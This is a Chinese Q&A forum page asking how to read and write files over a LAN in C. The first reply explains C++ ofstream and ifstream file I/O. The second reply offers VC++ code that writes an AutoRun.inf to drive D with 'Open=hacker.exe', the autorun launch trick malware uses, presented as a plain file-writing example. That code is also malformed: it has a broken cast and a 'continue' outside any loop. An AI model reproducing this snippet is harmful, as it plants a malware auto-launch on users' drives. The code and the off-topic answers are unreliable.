c语言,局域网读写文件的问题
发布网友
发布时间:2022-04-20 06:10
我来回答
共2个回答
热心网友
时间:2023-08-30 10:31
去本人的文库里下载文章《C++的IO(输入输出)专题》,或者百度里面搜索也行,这篇文章里面有详细的介绍,下面是这篇文章的节选,你看了就能明白,怎么操作了
34、让程序写入文件,首先应创建一个输出流ofstream流对象并与该文件关联,然后像使用cout一样使用该流对象,因为C++使用流来管理输入输出,当创建一个流对象时就为该对象分配一个缓冲区,创建两个流对象就分配两个缓冲区,标准的cout流是与显示屏相关联的,因此使用cout流将使内容输出到缓冲区,然后输出到显示屏上,而使用文件时就应该创建一个流以与要进行输入的文件相关联,这样当在给文件写入内容时,首先把内容写入到与文件关联的缓冲区中,然后再输出到文件中。具体步骤为:首先创建一个ofstream流对象,比如ofstream hy; 然后将该流对象与某文件关联起来,比如要使流对象hy与文件hyong.txt关联,则可以使用open函数,如hy.open(“hyong.txt”)或者使用构造函数将这两步合并为一步,比如ofstream hy(“hyong.txt”);其次向文件输入内容,像使用cout一样为文件输入内容,比如hy<<”wweeiii”;即表示把内容输出到与流对象hy相关联的控制台中,这里与hy相关联的控制台是文件hyong.txt,即把字符串wweeii输入到与流hy关联的文件hyong.txt中。以上面这两种方法打开文件时,如果没有这样的文件将创建一个新文件,如果有这样的文件,则打开该文件并清空其内容。
35、要读取文件中的内容,和上面介绍的把程序写入文件一样,首先应创建一个输入流ifstream流对象并与要执行的文件相关联,然后像使用cin一样使用该流对象,输入与输出一样都将创建流的缓冲区。具体方法为创建流对象如ifstream hy1;然后将该流对象与要执行的文件相关联,可以使用open函数,比如hy1.open(“hyong1.txt”);或将两句合并为一句,比如ifstream hy1(“hyong1.txt”),然后像使用cin这样使用流对象,比如char ch[33]; hy1>>ch;即表示把hy1关联的文件hyong1.txt中的内容输出到数组ch中。
热心网友
时间:2023-08-30 10:31
嗯,
我来给你详细的一个过程:
我用VC++6.0 编译
点文件->新建->选择的工程项目很多,我们只要用 win32 console application就可以了 然后点完成。然后继续上一步,给这个工程添加一个源文件
然后输入以下代码:
#include <stdio.h>
#include <string>
#include <afx.h>
int main()
{ HANDLE hFile;
char str[]="d:\\AutoRun.inf";
hFile=CreateFile((LPCTSTR&str,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
continue;
}
if(SetFilePointer(hFile,0,NULL,FILE_END)==-1)
{
MessageBox(NULL,"setfilepointer error","冷无崖",0);
}
DWORD dd;
WriteFile(hFile,"[AutoRun]\r\n""Open=hacker.exe",strlen("[Autorun]\r\n""Open=hacker.exe"),&dd,NULL);
CloseHandle(hFile);
}
然后点编译按钮就可以了……
这个程序往D盘写一个文件名为 AutoRun.inf 的文件内容为:
[AutoRun]
Open=hacker.exe
这里我用的不是 C++的函数,用的是VC的库函数……